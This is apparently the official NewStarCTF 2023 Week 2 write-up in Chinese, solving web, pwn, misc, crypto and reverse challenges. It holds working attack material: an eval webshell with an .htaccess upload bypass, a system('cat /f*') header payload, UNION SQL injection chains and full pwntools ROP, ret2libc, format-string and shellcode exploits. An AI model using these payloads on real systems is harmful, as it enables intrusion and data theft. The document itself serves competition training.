原文连接:NewStarCTF 2023 Week2 官方WriteUp
去查看源代码中的app_v2.js文件内容,可以看到在游戏结束的处理时代码如下:
function gameover(){
if(gameScore > 100000){
var xhr = new XMLHttpRequest();
xhr.open("POST", "/api.php", true);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.onreadystatechange = function() {
if (xhr.readyState === 4 && xhr.status === 200) {
var response = JSON.parse(xhr.responseText);
alert(response.message);
}
};
var data = {
score: gameScore,
};
xhr.send(JSON.stringify(data));
}
alert("成绩:"+gameScore);
gameScore=0;
curPhase =PHASE_READY;
hero = null;
hero = new Hero();
}
可以看到当分数大于10w分的时候XHR会向api.php发送一个json数据包,json内容如下:
{"score":gameScore}
POST /api.php HTTP/1.1
Host: d1d8c388-e024-4994-9a21-27cd7e042989.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Content-Length: 17
Connection: close
{"score":1000000}
除此之外也可以直接在控制台设置gameScore的值,然后结束游戏就可以获得Flag:
进入题目给出源码,思路很简单,只需要设置evil类中cmd成员的值然后反序列化触发__destruct析构函数即可触发RCE
RCE的绕过也很简单,过滤了一些读取文件的命令,但是仍然很多命令可以用,例如head。
需要注意的是这里的cmd是private属性的,因此需要对序列化字符串进行urlencode,构造Exp如下:
注意要把命令中的加号替换为%20或者空格。
进入题目给出源码,需要读取flag.php文件,读取PHP文件需要使用php://filter协议中的过滤器来对文件内容进行编码,但是这里过滤了base和rot。
还有其他的一些过滤器可以使用,例如convert.iconv系列的过滤器,由此构造Payload:
php://filter/convert.iconv.UTF-8.UTF-7/resource=flag.php
得到flag.php文件经过编码后的内容:
+ADw?php //flag+AHs-bbf7eff4-e6b8-4fd6-bfd8-8b9679c002eb+AH0
可以直接根据Flag格式转换出原本的文件内容:
flag{bbf7eff4-e6b8-4fd6-bfd8-8b9679c002eb}
也可以找个在线的UTF-7转UTF-8工具:https://www.novel.tools/decode/UTF-7
除了这个过滤器外还有很多可用的过滤器,解法不唯一。
本题主要考点是绕过后端对后缀名的限制,apache解析漏洞,绕过对文件内容的检测
抓包上传上一次的1.jpg内容为
//绕过@eval($_POST['shell']);
然后上传.htaccess文件,让服务器把.jpg文件当成php解析
AddType application/x-httpd-php .jpg
然后访问1.jpg执行命令即可获得Flag:
首先看到提示有信息泄露,可以使用dirsearch扫,扫出了 /.git ,使用GitHack工具获取源码。扫出index.php,就是主页的源码,没有有效信息,还有一个bo0g1pop.php ,代码如下:
第一个正则对提交的参数进行处理:任意字符加上可选的括号(允许嵌套)更换为空,然后判断是否等于分号,结合下面的 eval 可以知道就是无参数命令执行。
第二个正则过滤了一些常用的用于无参数命令执行的 php 方法,但过滤不全,可以使用类似功能的方法进行绕过,最终命令执行。
payload(使用 bp 发送的请求):
GET /bo0g1pop.php?star=eval(pos(array_reverse(getallheaders()))); HTTP/1.1
Host: faf83665-1a88-473a-b765-ddd33c6cf370.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
X-Forwarder-Proto: system('cat /f*');
Upgrade-Insecure-Requests: 1
给id传 TMP0919'# ,可以查出结果,说明存在注入。#要编码成%23。
查询的信息可以回显,说明是union注入,然后要判断字段数。
?id=TMP0919' Order by 1#
从1一直递增,递增到6时,页面不回显,说明字段数是5.
?id=1' uNion Select 1,2,3,4,5#
查询表名
?id=1' uNion Select ((sElect grOup_cOncat(tAble_name) From infOrmation_schema.tables Where Table_schema=Database())),2,3,4,5%23
查询字段名
?id=1' uNion Select ((sElect grOup_cOncat(column_name) From infOrmation_schema.columns Where Table_name='here_is_flag')),2,3,4,5%23
查询Flag值:
?id=1' uNion Select ((sElect grOup_cOncat(flag) From here_is_flag)),2,3,4,5%23
因为printf的%s只有遇到'\x00'才会停止输出,所以可以带出后面的libc地址
给了栈地址,就可以栈迁移打rop
from pwn import *
context.update(os='linux',arch='amd64',log_level='debug')
binary='./pwn'
elf=ELF(binary)
libc=ELF('./libc.so.6')
debug=0
if debug:
libc=elf.libc
p=process(binary)
else:
host='127.0.0.1'
port='1145'
p=remote(host,port)
ret = 0x000000000040101a
pop_rdi_ret = 0x0000000000401333
leave_ret = 0x00000000004012AA
p.sendafter("your name:\n", b'a'*8)
p.recvuntil('a'*8)
libc.address = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - libc.sym["_IO_file_jumps"]
binsh = next(libc.search(b"/bin/sh"))
success("libc-->" + hex(libc.address))
p.recvuntil("I have a small gift for you: ")
rop_addr = int(p.recv(14), 16) + 8
success("rop_addr-->" + hex(rop_addr))
p.recvuntil("more infomation plz:\n")
pay = p64(pop_rdi_ret) + p64(binsh) + p64(libc.sym["system"])
pay = pay.ljust(0x50, b'\x00')
pay += p64(rop_addr - 8)
pay += p64(leave_ret)
p.send(pay)
p.interactive()
正如题目名字一样,本题开启了canary保护,可以自行搜索canary的工作原理与绕过方法,需要通过题目中print(buf)这个格式化字符串漏洞来泄露出canary的值,然后将canary的值覆盖到rbp-8的位置,再覆盖rbp和返回地址,来执行ret2text即可
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
p=remote("node4.buuoj.cn",25251)
# p=process("./canary")
p.sendlineafter("Give me some gift?\n","aaaaaaaa%11$p".encode())
p.recvuntil("aaaaaaaa")
canary=int(p.recvuntil(b"00").decode(),16)
print(hex(canary))
p.sendafter("Show me your magic",b'a'*40+p64(canary)+b'a'*8+p64(0x401262))
p.interactive()
存在pop_rdi_ret的gadget,可以将puts_got的值存入rdi,调用puts就可以打印出puts函数的真实地址,从而泄露libc,在libc中寻找system函数,/bin/sh字符串的地址,就可以通过同样的方法调用system('/bin/sh')
from pwn import *
from LibcSearcher import *
context(os="linux", arch="amd64", log_level="debug")
# p = process('./ret2libc')
p=remote('node4.buuoj.cn',27442)
elf = ELF('./ret2libc')
# libc=ELF('./libc.so.6')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main_addr=0x400698
pop_rdi_ret=0x400763
ret=0x4006F1
payload=b'a'*40+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
p.sendline(payload)
puts_addr=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
# 提供三种计算libc的解法
# 题目给出libc时
# libc_base = puts_addr - libc.symbols['puts']
# system_addr = libc_base + libc.symbols['system']
# bin_addr = libc_base + next(libc.search(b'/bin/sh'))
# libcsearcher
# libc = LibcSearcher("puts",puts_addr)
# libc_base = puts_addr - libc.dump("puts")
# system_addr = libc_base + libc.dump("system")
# bin_addr = libc_base + libc.dump("str_bin_sh")
# libc.blukat.me 查询libc版本后手动计算(推荐)
libc_base = puts_addr - 0x080970
system_addr = libc_base + 0x04f420
bin_addr = libc_base + 0x1b3d88
payload2=b'a'*40+p64(pop_rdi_ret)+p64(bin_addr)+p64(ret)+p64(system_addr)
p.sendline(payload2)
p.interactive()
题目开启pie,需要同canary题目一样先通过格式化字符串泄露出pie的基址,从而计算出要修改的num真实地址,然后调用pwntools的fmt_payload函数可以自动生成出格式化字符串,修改需要猜测的num值为我们想要的比如1,然后发送1即可判断成功
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
p=remote("node4.buuoj.cn",29092)
# p = process('./secretnumber')
offset=8
num_addr = 0x404c
##leak pie
p.sendlineafter("(0/1)\n",'1')
payload = "aaaaaaaa%17$p".encode("utf-8")
p.sendlineafter("What's it\n",payload)
p.recvuntil('aaaaaaaa')
main_addr=int(p.recvuntil('f5')[-12:],16)
pie=main_addr-0x12F5
print(hex(main_addr))
print(hex(pie))
num_addr += pie
##fmtpayload
p.sendlineafter("(0/1)\n",'1')
fmtpayload=fmtstr_payload(offset, {num_addr:1})
p.sendlineafter("What's it\n",fmtpayload)
p.sendlineafter("(0/1)\n",'0')
p.sendlineafter("Guess the number\n",'1')
p.interactive()
题目限制0-9,A-Z的可见字符串输出,用这些字符串生成可以用的shellcode,可以看到一些xor操作,通过xor的操作对寄存器赋值,题目已经预先设置好read的寄存器,只需要执行出syscall就好,syscall的read不限制字符串输入,但是输入的地址是在rsi=0x66660000,目前执行的地址是有一定偏移的,加入一些nop滑板然后直接使用pwntools生成就好。可以参考b站imLZH1师傅的视频BV1Z14y1B7ji
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
p = remote("node4.buuoj.cn",27904)
#p = process('./shellcodere')
payload = b'\x33\x42\x38' #33 42 38 xor eax, DWORD PTR [rdx+0x38]
payload += b'\x31\x42\x30' #31 42 30 xor DWORD PTR [rdx+0x30], eax
payload += b'\x33\x42\x37' #33 42 38 xor eax, DWORD PTR [rdx+0x38]
payload += b'\x31\x42\x38' #31 42 38 xor DWORD PTR [rdx+0x38], eax
payload += b'\x59'*(0x30-len(payload)) #59 pop rcx
payload += b'\x4e\x44'*2 #syscall 0x4e^0x41=0xf 0x44^0x41=0x5
payload += b'A'*8 #xor key
p.sendlineafter("magic\n",payload)
pause()
p.sendline(b'\x90'*0x50+asm(shellcraft.sh()))
p.interactive()
根据题目提示,参考题目名Jvav,可以检阅到Java盲水印的知识。
可以利用这个项目来提取Java盲水印内容:https://github.com/ww23/BlindWaterMark
得到FLAG:flag{3bb3c3a628a94c}
题目考查Base64隐写,可以参考这篇文章的原理:https://cloud.tencent.com/developer/article/2160364
提取隐写内容的脚本,注意以python2运行:
b64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
with open('base.txt', 'rb') as f:
bin_str = ''
for line in f.readlines():
stegb64 = ''.join(line.split())
rowb64 = ''.join(stegb64.decode('base64').encode('base64').split())
offset = abs(b64chars.index(stegb64.replace('=','')[-1])-b64chars.index(rowb64.replace('=','')[-1]))
equalnum = stegb64.count('=') #no equalnum no offset
if equalnum:
bin_str += bin(offset)[2:].zfill(equalnum * 2)
print ''.join([chr(int(bin_str[i:i + 8], 2)) for i in xrange(0, len(bin_str), 8)])
得到隐写内容:
iDMb6ZMnTFMtFuouYZHwPTYAoWjC7Hjca8
Base58解密得到Flag:
打开Word文档查看隐藏字体可以得到如下密文:
新佛曰:毘諸隸僧降吽諸陀摩隸僧缽薩願毘耨咤陀願羅咤喃修願宣亦宣寂叻寂阿是吽阿塞尊劫毘般毘所聞降毘咒塞尊薩咒毘所若降般斯毘嚴毘嚴波斯迦毘色毘波嚴毘喃念若修嘚般毘我毘如毘如囑囑
WPS可以选择“清除格式”来得到密文。
新佛曰加密,利用在线工具 http://hi.pcmoe.net/buddha.html 进行解密得到Flag:
打开音频可以听到有节奏的滴答声,使用Audacity查看波形图推断是摩斯电码:
将摩斯电码提取出来:
..-./.-../.-/--./-/...././-..././.../-/-.-./-/..-././.-./../.../-.--/---/..-
解码得到:
flagthebestctferisyou
根据题目提示包裹花括号得到FLAG:
flag{thebestctferisyou}
题目给出了Web请求日志,经过分析可以看出是SQL盲注的日志信息,Payload为:
-1 or if(ascii(substr((select group_concat(username,password) from user),位数,1))=字符ASCII码,sleep(1),1)--+
当注入到某一位的正确字符后会结束这一位的爆破,进行下一位的注入,例如
172.17.0.1 - - [20/Aug/2023:00:08:44 +0800] "GET /app/action/edit_sell.php?pid%5B0%5D=-1%20or%20if(ascii(substr((select%20group_concat(username,password)%20from%20user),7,1))=110,sleep(1),1)--+&totalPrice=0 HTTP/1.1" 500 353 "-" "python-requests/2.28.2"
172.17.0.1 - - [20/Aug/2023:00:08:47 +0800] "GET /app/action/edit_sell.php?pid%5B0%5D=-1%20or%20if(ascii(substr((select%20group_concat(username,password)%20from%20user),8,1))=40,sleep(1),1)--+&totalPrice=0 HTTP/1.1" 500 353 "-" "python-requests/2.28.2"
如上的日志信息就说明第7位字符的ASCII码为110,根据这个原理可以编写脚本来提取日志中的注入结果,也有很多现成的脚本稍微修改一下就可以使用,可以参考这篇文章的分析:https://www.cnblogs.com/0yst3r-2046/p/12322110.html
稍微修改一下脚本,需要以Python2运行:
# coding:utf-8
import re
import urllib
f = open('access.log','r')
lines = f.readlines()
datas = []
for line in lines:
t = urllib.unquote(line)
datas.append(t)
flag_ascii = {}
for data in datas:
matchObj = re.search( r'user\),(.*?),1\)\)=(.*?),sleep', data)
if matchObj:
key = int(matchObj.group(1))
value = int(matchObj.group(2))
flag_ascii[key] = value
flag = ''
for value in flag_ascii.values():
flag += chr(value)
print flag
得到注入内容,后半段即为FLAG:
you_w4nt_s3cretflag{just_w4rm_up_s0_you_n3ed_h4rder_6026cd32},
其实这道题偏向于Web题目,代码加密也很简单,在分析时可以将eval修改为echo,调试几次之后发现其实解密方式是固定的,只是进行了嵌套多次加密,由此可以编写PHP脚本对WebShell脚本进行解密:
最终得到WebShell:
error_reporting(0);($_GET['7d67973a'])($_POST['9fa3']);
这里就是一个简单的函数的动态调用,GET传入函数名,POST传入函数参数:
阅读源码我们可以知道,可以通过输入多个1选项来获取多组n, c。获取足够多的组数就可以在不分解n的情况下求出m^e了。
下面是交互代码:
import gmpy2
from Crypto.Util.number import *
def CRT(cList, nList):
M = 1
for i in nList:
M = M * i #计算M = ∏ mi
x = 0
for i in range(len(nList)):
Mi = M // nList[i]
Mi_inverse = gmpy2.invert(Mi, nList[i])
x += cList[i] * Mi * Mi_inverse
x = x % M
return x
from pwn import *
context.log_level= "debug"
p = remote("node4.buuoj.cn", 25450)
n_list = []
c_list = []
for _ in range(17):
p.recvuntil(b'> ')
p.sendline(str(1))
n = int(p.recvline().decode().strip('\n').split('=')[1])
c = int(p.recvline().decode().strip('\n').split('=')[1])
n_list.append(n)
c_list.append(c)
m = CRT(c_list, n_list)
print(m)
print(long_to_bytes(gmpy2.iroot(m, 17)[0]))
z3一把梭(
from z3 import *
from Crypto.Util.number import *
from pwn import xor
ROUND = 12
s = Solver()
ciphertext = b'\x8dSyy\xd2\xce\xe2\xd2\x98\x0fth\x9a\xc6\x8e\xbc\xde`zl\xc0\x85\xe0\xe4\xdfQlc'
enc_k1 = BitVecVal(7318833940520128665, 64)
k2 = BitVecVal(9982833494309156947, 64)
k1 = BitVec('k1', 64)
def encrypt_key(key):
for _ in range(ROUND):
key = RotateLeft(key, 3) ^ k2
return key
s.add(enc_k1 == encrypt_key(k1))
s.check()
k1 = s.model()[k1].as_long()
flag = xor(ciphertext, long_to_bytes(k1))
print(flag)
我们知道 p < sqrt(n) < q (假设 p < q), 假设p-q过小的话, sqrt(n) 会很接近p或者q
md5爆破就是很正常的爆破
from gmpy2 import *
from Crypto.Util.number import *
from hashlib import md5
from string import printable
n = 113021375625152132650190712599981988437204747209058903684387817901743950240396649608148052382567758817980625681440722581705541952712770770893410244646286485083142929097056891857721084849003860977390188797648441292666187101736281034814846427200984062294497391471725496839508139522313741138689378936638290593969
c = 43054766235531111372528859352567995977948625157340673795619075138183683929001986100833866227688081563803862977936680822407924897357491201356413493645515962458854570731176193055259779564051991277092941379392700065150286936607784073707448630150405898083000157174927733260198355690620639487049523345380364948649
md5_hash = [
'4a8a08f09d37b73795649038408b5f33',
'03c7c0ace395d80182db07ae2c30f034',
'e1671797c52e15f763380b45e841ec32',
'b14a7b8059d9c055954c92674ce60032',
'e358efa489f58062f10dd7316b65649e',
'cfcd208495d565ef66e7dff9f98764da',
'b14a7b8059d9c055954c92674ce60032',
'8fa14cdd754f91cc6554c9e71929cce7',
'0cc175b9c0f1b6a831c399e269772661',
'4a8a08f09d37b73795649038408b5f33',
'e358efa489f58062f10dd7316b65649e',
'cfcd208495d565ef66e7dff9f98764da',
'4b43b0aee35624cd95b910189b3dc231',
'cbb184dd8e05c9709e5dcaedaa0495cf'
]
q = next_prime(iroot(n, 2)[0])
assert n % q == 0
p = n // q
d = invert(0x10001, (p-1)*(q-1))
m = pow(c,d,n)
print(long_to_bytes(m))
mm = ''
for h in md5_hash:
for p in printable:
if md5(p.encode()).hexdigest() == h:
mm += p
print(mm)
我们知道 对于任意的小于p的非负自然数r, 有 r = r^(e*dp) (mod p)
故 r^(e*dp) - r = k*p, 由于 p | n, 我们可以在mod n上计算, 减小计算量.
from Crypto.Util.number import *
n = 93172788492926438327710592564562854206438712390394636149385608321800134934361353794206624031396988124455847768883785503795521389178814791213054124361007887496351504099772757164211666778414800698976335767027868761735533195880182982358937211282541379697714874313863354097646233575265223978310932841461535936931
dp = 307467153394842898333761625034462907680907310539113349710634557900919735848784017007186630645110812431448648273172817619775466967145608769260573615221635
c = 52777705692327501332528487168340175436832109866218597778822262268417075157567880409483079452903528883040715097136293765188858187142103081639134055997552543213589467751037524482578093572244313928030341356359989531451789166815462417484822009937089058352982739611755717666799278271494933382716633553199739292089
e = 65537
r = getPrime(64)
pp = pow(r, e*dp, n) - r
p = GCD(n, pp)
q = n // p
d = inverse(e, (p-1)*(q-1))
m = pow(c, d, n)
print(long_to_bytes(m))
查查百科或者了解一下即约剩余系(
from Crypto.Util.number import *
q = 115478867870347527660680329271012852043845868401928361076102779938370270670897498759391844282137149013845956612257534640259997979275610235395706473965973203544920469416283181677660262509481282536465796731401967694683575843183509430017972506752901270887444490905891490955975762524187534052478173966117471143713
p = 171790960371317244087615913047696670778115765201883835525456016207966048658582417842936925149582378305610304505530997833147251832289276125084339614808085356814202236463900384335878760177630501950384919794386619363394169016560485152083893183420911295712446925318391793822371390439655160077212739260871923935217
c = 4459183928324369762397671605317600157512712503694330767938490496225669985050002776253470841193156951087663107866714426230222002399666306287642591077990897883174134404896800482234781531592939043551832049756571987010173667074168282355520711905659013076509353523088583347373358980842707686611157050425584598825151399870268083867269912139634929397957514376826145870752116583185351576051776627208882377413433140577461314504762388617595282085102271510792305560608934353515552201553674287954987323321512852114353266359364282603487098916608302944694600227628787791876600901537888110093703612414836676571562487005330299996908873589228072982641114844761980143047920770114535924959765518365614709272297666231481655857243004072049094078525569460293381479558148506346966064906164209362147313371962567040047084516510135054571080612077333228195608109065475260832580192321853906138811139036658485688320161530131239854003996457871663456850196483520239675981391047452381998620386899101820782421605287708727667663038905378115235163773867508258208867367314108701855709002634592329976912239956212490788262396106230191754680813790425433763427315230330459349320412354189010684525105318610102936715203529222491642807382215023468936755584632849348996666528981269240867612068382243822300418856599418223875522408986596925018975565057696218423036459144392625166761522424721268971676010427096379610266649911939139451989246194525553533699831110568146220347603627745407449761792135898110139743498767543521297525802809254842518002190381508964357001211353997061417710783337
n = p ** 3 * q ** 2
e = 65537
phi = p ** 2 * (p - 1) * q * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
print(long_to_bytes(m))
RSA-CRT是一个很常见的RSA变种方案, 这道题把RSA-CRT的解密过程抽掉了一半, 可以查找相关资料得到剩余步骤. (当然, 你也可以试着自己推导一下)
from Crypto.Util.number import *
m2 = 4816725107096625408335954912986735584642230604517017890897348901815741632668751378729851753037917164989698483856004115922538576470127778342121497852554884
h = 4180720137090447835816240697100630525624574275
q = 7325294399829061614283539157853382831627804571792179477843187097003503398904074108324900986946175657737035770512213530293277111992799331251231223710406931
m = m2 + h*q
print(long_to_bytes(m))
先过掉反调试,直接修改ZF标志位为1
或者
修改al的值为0都可以
然后继续单步调试
代码自解密的函数对代码进行异或解密,此时后面sub_403040处的代码就解密完成了,此时可以按F7单步进入。
这里爆红,就需要手动创建函数,也可以按快捷键P键。
然后按下F5键。
s=[ 0x7C, 0x82, 0x75, 0x7B, 0x6F, 0x47, 0x61, 0x57, 0x53, 0x25, 0x47, 0x53, 0x25, 0x84, 0x6A, 0x27,
0x68, 0x27, 0x67, 0x6A, 0x7D, 0x84, 0x7B, 0x35, 0x35, 0x48, 0x25, 0x7B, 0x7E, 0x6A, 0x33, 0x71]
for i in range(len(s)):
print(chr(s[i]-5^0x11),end="")# ^号运算符优先级低于减号
通过RC4解密得到base64的表,再进行base64解密
username = b"genshinimpact"
base64_table = [125, 239, 101, 151, 77, 163, 163, 110, 58, 230, 186, 206, 84, 84, 189, 193, 30, 63, 104, 178, 130, 211,
164, 94, 75, 16, 32, 33, 193, 160, 120, 47, 30, 127, 157, 66, 163, 181, 177, 47, 0, 236, 106, 107, 144,
231, 250, 16, 36, 34, 91, 9, 188, 81, 5, 241, 235,
3, 54, 150, 40, 119, 202, 150]
def rc4(key, data):
S = list(range(256))
j = 0
out = []
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
i = j = 0
for t in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
out.append(t^ S[(S[i] + S[j]) % 256])
return out
import base64
def base64_custom_decode(data, custom_table):
original_table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
decode_table = str.maketrans(custom_table, original_table)
decoded_data = base64.b64decode(data.translate(decode_table))
return decoded_data
retval = rc4(username, base64_table)
new_table = "".join([chr(t) for t in retval])
enc_data = "YnwgY2txbE8TRyQecyE1bE8DZWMkMiRgJW1="
print(base64_custom_decode(enc_data, new_table))
输入正确的username和password 会跳转到Mainactivity2......然后就是 原神!启动!
.init_array
段中存在反调试和通过srand
函数设置随机数种子,init_array
段的函数执行时机早于main函数
通过ptrace
实现反调试,学习文章。只需要Patch指令或者修改ZF标志位的值即可完成绕过
密文赋值和校验部分省略,主要看加密部分,阅读这段代码可知首先把输入字符串的单个字符值和rand()%255
的值相加,将相加的结果作为索引来获取Table中的值
由于设置了随机数种子,所以每次rand()
的结果都是一样的,这就是伪随机。
所以我们只需要获取到密文和Table之后进行比对,得到密文在Table的位置,将得到的索引减去rand()%255的结果就是我们的flag,脚本如下,由于rand函数在Windows和Linux环境下得到的结果不相同,所以需要将下面的脚本运行在Linux环境下
#include
#include
#include
__uint8_t Table[256] = {
0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16};
int main()
{
srand(1400333646);
__uint8_t enc[42] = {
0xEE, 0xE6, 0xD7, 0xB2, 0x8A, 0xAB, 0x13, 0x35, 0x02, 0x7B, 0xC9, 0xB9, 0x9C, 0xBA, 0xED, 0x2E,
0xBD, 0x4F, 0xFA, 0xEE, 0xC8, 0xF8, 0xE4, 0x16, 0x82, 0x63, 0x3B, 0x98, 0xF4, 0x14, 0x30, 0x38,
0x07, 0x36, 0x84, 0x3D, 0x0C, 0x36, 0x32, 0xEA, 0x55, 0xA6};
for (int i = 0; i < 42; ++i)
{
for (int j = 0; j < 256; ++j)
{
if (Table[j] == enc[i])
{
printf("%c", (j - rand() % 255));
}
}
}
return 0;
}
首先通过字符串定位到main函数,程序首先把四个加密函数的地址存储在数组中,之后遍历该数组对函数进行调用
接下来查看四个加密函数的内容,其中前三个加密函数都是可逆的,而第四个加密函数由于乘法会导致溢出(Char类型)所以没办法逆回去。
由于给出了flag的格式,我们可以爆破求解,脚本如下
#include
#include
int main()
{
__uint8_t enc[100] = {0xE8, 0x80, 0x84, 0x8, 0x18, 0x3C, 0x78, 0x68, 0x0, 0x70, 0x7C, 0x94, 0xC8, 0xE0, 0x10, 0xEC, 0xB4, 0xAC, 0x68, 0xA8, 0xC, 0x1C, 0x90, 0xCC, 0x54, 0x3C, 0x14, 0xDC, 0x30};
char key[20] = "NewStarCTF";
for (int i = 0; i < 29; ++i){
for (__uint8_t j = 32; j <= 127; ++j){
__uint8_t tmp = j;
if (j >= 'A' && j <= 'Z'){
j = (j - 'A' + 13) % 26 + 'A';
}
else if (j >= '0' && j <= '9'){
j = (j - '0' + 3) % 10 + '0';
}
else if (j >= 'a' && j <= 'z'){
j = (j - 'a' + 8) % 26 + 'a';
}
j += key[i % strlen(key)];
j = ~j;
j *= 52;
if (j == enc[i]) {
if ((tmp >= 'A' && tmp <= 'Z') || (tmp >= 'a' && tmp <= 'z')){
printf("%c", tmp);
}
}
j = tmp;
}
}
return 0;
}
flag{BruteForceIsAGoodwaytoGetFlag}
发现花指令,人工patch掉花指令
进入main函数后,再进入加密函数sub_1209,找到加密逻辑
import hashlib
v5 = [0] * 256
chipher = [0xD0, 0xD0, 0x85, 0x85, 0x80, 0x80, 0xC5, 0x8A, 0x93, 0x89,
0x92, 0x8F, 0x87, 0x88, 0x9F, 0x8F, 0xC5, 0x84, 0xD6, 0xD1,
0xD2, 0x82, 0xD3, 0xDE, 0x87]
for i in range(256):
v5[i] = (~(i ^ 25))&0xff
flag = ''
for i in range(len(chipher)):
flag += chr(v5.index((chipher[i])%256))
print(hashlib.md5(flag.encode()).hexdigest())
将 exe拖入到Exeinfo PE中,发现是由C#编译出的程序
将程序拖入到dnSpy中进行反编译,找到Main函数,查看主函数逻辑
根据加密逻辑,进行逆向,编写exp
v6 = 35
j = 0
v10 = [68,75,66,72,99,19,19,78,83,74,91,86,35,39,77,85,44,89,47,92,49,88,48,91,88,102,105,51,76,115,-124,125,79,122,-103]
a2 = "NEWSTAR"
for j in range(7):
v10[j + 28] -= (ord(a2[j])//5) + 10
v10[j + 21] -= j ^ 2
v10[j + 14] -= 2 * j
v10[j + 7] -= ord(a2[j]) % 5
v10[j] -= j ^ -(ord(a2[j]) % 4)
for i in range(v6):
v10[i] -= i
v10[i] += 32
print(chr(v10[i]%256), end='')
本题调试即可以得到Flag
关于如何调试apk进程,需要在Manifest需要给AndroidManifest.xml设置
android:debuggable="true"
重打包回去之后进行签名
先对文件进行对齐
zipalign -p -f -v 4 input.apk output_unsigned.apk
加签名 其中abc.keystore 是我通过androidstudio生成的签名文件
也可以自行用工具生成,不再赘述
APK反编译、重打包、签名之apktool实现_apktool反编译还是乱码-CSDN博客
apksigner sign --ks abc.keystore output_unsigned.apk
安装到手机上,以调试模式启动
adb shell am start -D -n com.chick.androdbgme/.MainActivity
用jeb attach上去,得到flag
无壳64位
拖进IDA64分析发现根部分析不动,于是按 shift + F12 找线索,可以发现有很多的Python痕迹,考点就是py打包成的exe
于是去github上寻找解包的工具
https://github.com/extremecoders-re/pyinstxtractor
随后用以该方式解包
在同级目录下可以找到 PZthon.exe_extracted 文件夹,在里面找到 PZthon.pyc,该文件就是python文件的字节码文件,而字节码我们不好分析,需要反编译成python语言来分析,这时候可以用 uncompyle6 pycdc等工具来反编译,不过uncompyle6只支持到py3.8,而该文件是3.9,所以使用pycdc或在线工具反编译得到
可以发现只是对我们的输入异或了21然后比较,那么我们只需要取出数据再异或21就可以得到明文,Get Flag!
